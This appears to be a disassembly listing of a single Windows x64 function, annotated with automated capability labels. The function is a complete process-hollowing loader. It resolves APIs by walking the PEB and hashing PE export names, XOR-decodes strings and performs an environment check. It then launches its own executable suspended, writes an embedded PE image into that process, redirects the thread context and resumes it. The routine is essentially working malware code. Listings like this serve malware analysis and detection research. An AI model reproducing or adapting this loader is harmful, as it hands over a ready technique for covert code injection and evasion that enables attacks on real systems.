Function at 0x140007ea0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Resolve function by parsing pe exports
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r13
push r14
lea rbp, [rsp - 0x410]
sub rsp, 0x510
mov rax, qword [0x140047060]
xor rax, rsp
mov qword [rbp + 0x400], rax
mov rax, qword gs:[0x60]
xor r14d, r14d
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], r14
je 0x140007f8d
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140007f80
mov r8d, dword [r11 + rcx + 0x20]
lea rax, [r11 + rcx]
mov r10d, dword [rax + 0x24]
add r8, r11
mov esi, dword [rax + 0x1c]
add r10, r11
mov ebx, dword [rax + 0x18]
add rsi, r11
mov r9, r14
test rbx, rbx
je 0x140007f80
nop dword [rax + rax]
mov edx, dword [r8]
mov ecx, 0x10ae9983
add rdx, r11
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140007f70
nop word [rax + rax]
rol ecx, 5
lea rdx, [rdx + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [rdx - 1]
test al, al
jne 0x140007f50
cmp ecx, 0xdf196b2e
je 0x1400082f0
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140007f30
mov rdi, qword [rdi]
cmp qword [rdi + 0x60], r14
jne 0x140007ef0
mov rdx, r14
lea rcx, [rsp + 0x78]
call rdx
lea rcx, [rsp + 0x58]
mov word [rsp + 0x58], 0x32
mov byte [rsp + 0x5a], r14b
call fcn.140015d50
movzx ecx, word [rsp + 0x7a]
cmp ecx, eax
je 0x1400080d9
mov dword [rsp + 0x50], 0x20202122
mov rcx, r14
mov word [rsp + 0x54], 0x100
nop dword [rax]
lea eax, [rcx + 0x10]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 4
jb 0x140007fd0
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x55], r14b
call fcn.140015d50
movzx ecx, word [rsp + 0x78]
cmp ecx, eax
je 0x1400080d9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdi, qword [rcx + 0x10]
cmp qword [rdi + 0x60], r14
je 0x1400080bc
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400080af
mov r8d, dword [r11 + rcx + 0x20]
lea rax, [r11 + rcx]
mov r10d, dword [rax + 0x24]
add r8, r11
mov esi, dword [rax + 0x1c]
add r10, r11
mov ebx, dword [rax + 0x18]
add rsi, r11
mov r9, r14
test rbx, rbx
je 0x1400080af
nop dword [rax + rax]
mov edx, dword [r8]
mov eax, 0x10ae9983
add rdx, r11
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000809f
nop word [rax + rax]
rol eax, 5
lea rdx, [rdx + 1]
movsx ecx, cl
add eax, ecx
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140008080
cmp eax, 0x9865787d
je 0x1400082ff
inc r9
add r8, 4
add r10, 2
cmp r9, rbx
jb 0x140008060
mov rdi, qword [rdi]
cmp qword [rdi + 0x60], r14
jne 0x140008020
mov rbx, r14
lea rcx, [rsp + 0x5c]
mov word [rsp + 0x5c], 0x30
mov byte [rsp + 0x5e], r14b
call fcn.140015d50
mov ecx, eax
call rbx
movsxd rbx, dword [0x140047c9c]
lea r13, [0x140047c60]
xorps xmm1, xmm1
xor eax, eax
add rbx, r13
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
mov qword [rbp - 0x10], rax
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
cmp dword [rbx], 0x4550
jne 0x1400082ca
mov r8d, 0x104
lea rdx, [rbp]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rbp]
lea rax, [rbp - 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400082ca
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rdi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400082ca
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x540], r12
mov qword [rsp + 0x548], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbx + 0x54]
mov r8, r13
mov rcx, qword [rsp + 0x60]
mov rdx, rax
mov rsi, rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r15, r14
cmp r14w, word [rbx + 6]
jae 0x140008285
nop dword [rax]
movsxd rcx, dword [0x140047c9c]
add rcx, r14
mov qword [rsp + 0x20], 0
mov r8d, dword [rcx + r13 + 0x11c]
mov edx, dword [rcx + r13 + 0x114]
add r8, r13
mov r9d, dword [rcx + r13 + 0x118]
add rdx, rsi
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rdi + 0x88]
lea r8, [rbx + 0x30]
mov rcx, qword [rsp + 0x60]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc r15
add r14, 0x28
cmp r15, rax
jb 0x140008210
mov eax, dword [rbx + 0x28]
mov rdx, rdi
add rax, rsi
mov qword [rdi + 0x80], rax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r15, qword [rsp + 0x548]
xor eax, eax
mov r12, qword [rsp + 0x540]
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.14000c610
mov rbx, qword [rsp + 0x550]
add rsp, 0x510
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret
movzx eax, word [r10]
mov edx, dword [rsi + rax*4]
add rdx, r11
jmp 0x140007f90
movzx eax, word [r10]
mov ebx, dword [rsi + rax*4]
add rbx, r11
jmp 0x1400080bf